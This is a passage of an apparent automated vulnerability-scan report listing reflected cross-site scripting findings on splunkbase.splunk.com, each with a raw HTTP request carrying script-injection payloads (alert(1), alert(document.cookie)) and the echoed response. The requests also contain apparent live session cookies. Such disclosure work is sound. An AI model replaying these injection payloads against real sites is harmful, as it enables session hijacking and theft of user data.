Server: Apache/2.2.8 (EL)
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: ssoj=1
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 5186

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<!-- web2
...[SNIP]...
<a href="/account:login/?return_to=/account:session28c71"><script>alert(1)</script>af5883db310/?redir=/?1ffc5%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E46cc332d1dc=1&id=173.193.214.243.1296942930878168">
...[SNIP]...

4.165. http://splunkbase.splunk.com/account:session/ [redir parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://splunkbase.splunk.com
Path:	/account:session/

Issue detail

The value of the redir request parameter is copied into the HTML document as plain text between tags. The payload c742e<script>alert(1)</script>f002713d5a3 was submitted in the redir parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /account:session/?redir=/?1ffc5%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E46cc332d1dc=1c742e<script>alert(1)</script>f002713d5a3&id=173.193.214.243.1296942930878168 HTTP/1.1
Host: splunkbase.splunk.com
Proxy-Connection: keep-alive
Referer: http://splunkbase.splunk.com/?1ffc5%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E46cc332d1dc=1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: XARAYASID=1mtgfd73mkm07svvqv720eu567; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); __utma=204527314.226449434.1296942566.1296942566.1296942566.1; __utmb=204527314.1.10.1296942566; Apache=173.193.214.243.1296942930878168; PHPSESSID=962720tkf55lv04kpjb1vmi5u6; ssoj=1

Response (redirected)

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:33:58 GMT
Server: Apache/2.2.8 (EL)
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: ssoj=1
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 75171

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<!-- web
...[SNIP]...
</script>46cc332d1dc=1c742e<script>alert(1)</script>f002713d5a3">
...[SNIP]...

4.166. http://splunkbase.splunk.com/apps/All/4.x/ [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://splunkbase.splunk.com
Path:	/apps/All/4.x/

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7402b"><script>alert(1)</script>8ee62d23cd0 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /apps7402b"><script>alert(1)</script>8ee62d23cd0/All/4.x/ HTTP/1.1
Host: splunkbase.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Apache=173.193.214.243.1296942930878168; ssoj=1; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=962720tkf55lv04kpjb1vmi5u6; sso=173.193.214.243.1296942930878168; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmb=204527314.1.10.1296942566;

Response

HTTP/1.0 404 Not Found
Date: Sat, 05 Feb 2011 23:01:59 GMT
Server: Apache/2.2.8 (EL)
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 4529
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<!-- web3
...[SNIP]...
<a href="/account:login/?return_to=/apps7402b"><script>alert(1)</script>8ee62d23cd0/All/4.x/">
...[SNIP]...

4.167. http://splunkbase.splunk.com/apps/All/4.x/ [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://splunkbase.splunk.com
Path:	/apps/All/4.x/

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1abb1"><script>alert(1)</script>a34c6b70f00 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /apps/All1abb1"><script>alert(1)</script>a34c6b70f00/4.x/ HTTP/1.1
Host: splunkbase.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Apache=173.193.214.243.1296942930878168; ssoj=1; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=962720tkf55lv04kpjb1vmi5u6; sso=173.193.214.243.1296942930878168; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmb=204527314.1.10.1296942566;

Response

HTTP/1.0 404 Not Found
Date: Sat, 05 Feb 2011 23:02:04 GMT
Server: Apache/2.2.8 (EL)
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 4529
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<!-- web4
...[SNIP]...
<a href="/account:login/?return_to=/apps/All1abb1"><script>alert(1)</script>a34c6b70f00/4.x/">
...[SNIP]...

4.168. http://splunkbase.splunk.com/apps/All/4.x/ [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://splunkbase.splunk.com
Path:	/apps/All/4.x/

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5d256"><script>alert(1)</script>57ae3520054 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /apps/All/4.x5d256"><script>alert(1)</script>57ae3520054/ HTTP/1.1
Host: splunkbase.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Apache=173.193.214.243.1296942930878168; ssoj=1; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=962720tkf55lv04kpjb1vmi5u6; sso=173.193.214.243.1296942930878168; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmb=204527314.1.10.1296942566;

Response

HTTP/1.0 404 Not Found
Date: Sat, 05 Feb 2011 23:02:08 GMT
Server: Apache/2.2.8 (EL)
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 4529
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<!-- web3
...[SNIP]...
<a href="/account:login/?return_to=/apps/All/4.x5d256"><script>alert(1)</script>57ae3520054/">
...[SNIP]...

4.169. http://splunkbase.splunk.com/apps/All/4.x/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://splunkbase.splunk.com
Path:	/apps/All/4.x/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8bbfd"><script>alert(1)</script>9cc5ed5b283 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /apps/All/4.x/?8bbfd"><script>alert(1)</script>9cc5ed5b283=1 HTTP/1.1
Host: splunkbase.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Apache=173.193.214.243.1296942930878168; ssoj=1; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=962720tkf55lv04kpjb1vmi5u6; sso=173.193.214.243.1296942930878168; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmb=204527314.1.10.1296942566;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:01:34 GMT
Server: Apache/2.2.8 (EL)
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 52195

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<!-- web1
...[SNIP]...
<a href="/account:login/?return_to=/apps/All/4.x/?8bbfd"><script>alert(1)</script>9cc5ed5b283=1">
...[SNIP]...

4.170. http://splunkbase.splunk.com/apps/All/4.x/ [sort parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://splunkbase.splunk.com
Path:	/apps/All/4.x/

Issue detail

The value of the sort request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 160b5"><script>alert(1)</script>8289440e214 was submitted in the sort parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /apps/All/4.x/?sort=downloads160b5"><script>alert(1)</script>8289440e214 HTTP/1.1
Host: splunkbase.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Apache=173.193.214.243.1296942930878168; ssoj=1; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=962720tkf55lv04kpjb1vmi5u6; sso=173.193.214.243.1296942930878168; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmb=204527314.1.10.1296942566;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:00:01 GMT
Server: Apache/2.2.8 (EL)
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 52207

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<!-- web1
...[SNIP]...
<a href="/account:login/?return_to=/apps/All/4.x/?sort=downloads160b5"><script>alert(1)</script>8289440e214">
...[SNIP]...

4.171. http://splunkbase.splunk.com/static/css/splunk_shared.css [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://splunkbase.splunk.com
Path:	/static/css/splunk_shared.css

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5f2bc"><script>alert(1)</script>37431b8030e was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /static5f2bc"><script>alert(1)</script>37431b8030e/css/splunk_shared.css?v=02-15-10 HTTP/1.1
Host: splunkbase.splunk.com
Proxy-Connection: keep-alive
Referer: http://splunkbase.splunk.com/?1ffc5%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E46cc332d1dc=1
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: XARAYASID=1mtgfd73mkm07svvqv720eu567; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); __utma=204527314.226449434.1296942566.1296942566.1296942566.1; __utmb=204527314.1.10.1296942566; Apache=173.193.214.243.1296942930878168; PHPSESSID=962720tkf55lv04kpjb1vmi5u6; ssoj=1

Response

HTTP/1.0 404 Not Found
Date: Sat, 05 Feb 2011 22:33:36 GMT
Server: Apache/2.2.8 (EL)
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: ssoj=1
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 4972

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<!-- web3
...[SNIP]...
<a href="/account:login/?return_to=/static5f2bc"><script>alert(1)</script>37431b8030e/css/splunk_shared.css?v=02-15-10">
...[SNIP]...

4.172. http://splunkbase.splunk.com/static/css/splunk_shared.css [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://splunkbase.splunk.com
Path:	/static/css/splunk_shared.css

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ae785"><script>alert(1)</script>c27293a75ce was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /static/cssae785"><script>alert(1)</script>c27293a75ce/splunk_shared.css?v=02-15-10 HTTP/1.1
Host: splunkbase.splunk.com
Proxy-Connection: keep-alive
Referer: http://splunkbase.splunk.com/?1ffc5%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E46cc332d1dc=1
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: XARAYASID=1mtgfd73mkm07svvqv720eu567; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); __utma=204527314.226449434.1296942566.1296942566.1296942566.1; __utmb=204527314.1.10.1296942566; Apache=173.193.214.243.1296942930878168; PHPSESSID=962720tkf55lv04kpjb1vmi5u6; ssoj=1

Response

HTTP/1.0 404 Not Found
Date: Sat, 05 Feb 2011 22:33:41 GMT
Server: Apache/2.2.8 (EL)
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: ssoj=1
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 4972

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<!-- web2
...[SNIP]...
<a href="/account:login/?return_to=/static/cssae785"><script>alert(1)</script>c27293a75ce/splunk_shared.css?v=02-15-10">
...[SNIP]...

4.173. http://splunkbase.splunk.com/static/css/splunk_shared.css [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://splunkbase.splunk.com
Path:	/static/css/splunk_shared.css

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1cf5e"><script>alert(1)</script>4dc15f8bb0b was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /static/css/splunk_shared.css1cf5e"><script>alert(1)</script>4dc15f8bb0b?v=02-15-10 HTTP/1.1
Host: splunkbase.splunk.com
Proxy-Connection: keep-alive
Referer: http://splunkbase.splunk.com/?1ffc5%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E46cc332d1dc=1
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: XARAYASID=1mtgfd73mkm07svvqv720eu567; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); __utma=204527314.226449434.1296942566.1296942566.1296942566.1; __utmb=204527314.1.10.1296942566; Apache=173.193.214.243.1296942930878168; PHPSESSID=962720tkf55lv04kpjb1vmi5u6; ssoj=1

Response

HTTP/1.0 404 Not Found
Date: Sat, 05 Feb 2011 22:33:44 GMT
Server: Apache/2.2.8 (EL)
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: ssoj=1
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 4972

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<!-- web4
...[SNIP]...
<a href="/account:login/?return_to=/static/css/splunk_shared.css1cf5e"><script>alert(1)</script>4dc15f8bb0b?v=02-15-10">
...[SNIP]...

4.174. http://splunkbase.splunk.com/static/css/splunkbase.css [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://splunkbase.splunk.com
Path:	/static/css/splunkbase.css

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6bd91"><script>alert(1)</script>613c0e86185 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /static6bd91"><script>alert(1)</script>613c0e86185/css/splunkbase.css?v=02-15-10 HTTP/1.1
Host: splunkbase.splunk.com
Proxy-Connection: keep-alive
Referer: http://splunkbase.splunk.com/?1ffc5%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E46cc332d1dc=1
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: XARAYASID=1mtgfd73mkm07svvqv720eu567; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); __utma=204527314.226449434.1296942566.1296942566.1296942566.1; __utmb=204527314.1.10.1296942566; Apache=173.193.214.243.1296942930878168; PHPSESSID=962720tkf55lv04kpjb1vmi5u6; ssoj=1

Response

HTTP/1.0 404 Not Found
Date: Sat, 05 Feb 2011 22:34:09 GMT
Server: Apache/2.2.8 (EL)
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: ssoj=1
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 4966

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<!-- web2
...[SNIP]...
<a href="/account:login/?return_to=/static6bd91"><script>alert(1)</script>613c0e86185/css/splunkbase.css?v=02-15-10">
...[SNIP]...

4.175. http://splunkbase.splunk.com/static/css/splunkbase.css [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://splunkbase.splunk.com
Path:	/static/css/splunkbase.css

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7b5f2"><script>alert(1)</script>5b2a9f4689f was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /static/css7b5f2"><script>alert(1)</script>5b2a9f4689f/splunkbase.css?v=02-15-10 HTTP/1.1
Host: splunkbase.splunk.com
Proxy-Connection: keep-alive
Referer: http://splunkbase.splunk.com/?1ffc5%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E46cc332d1dc=1
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
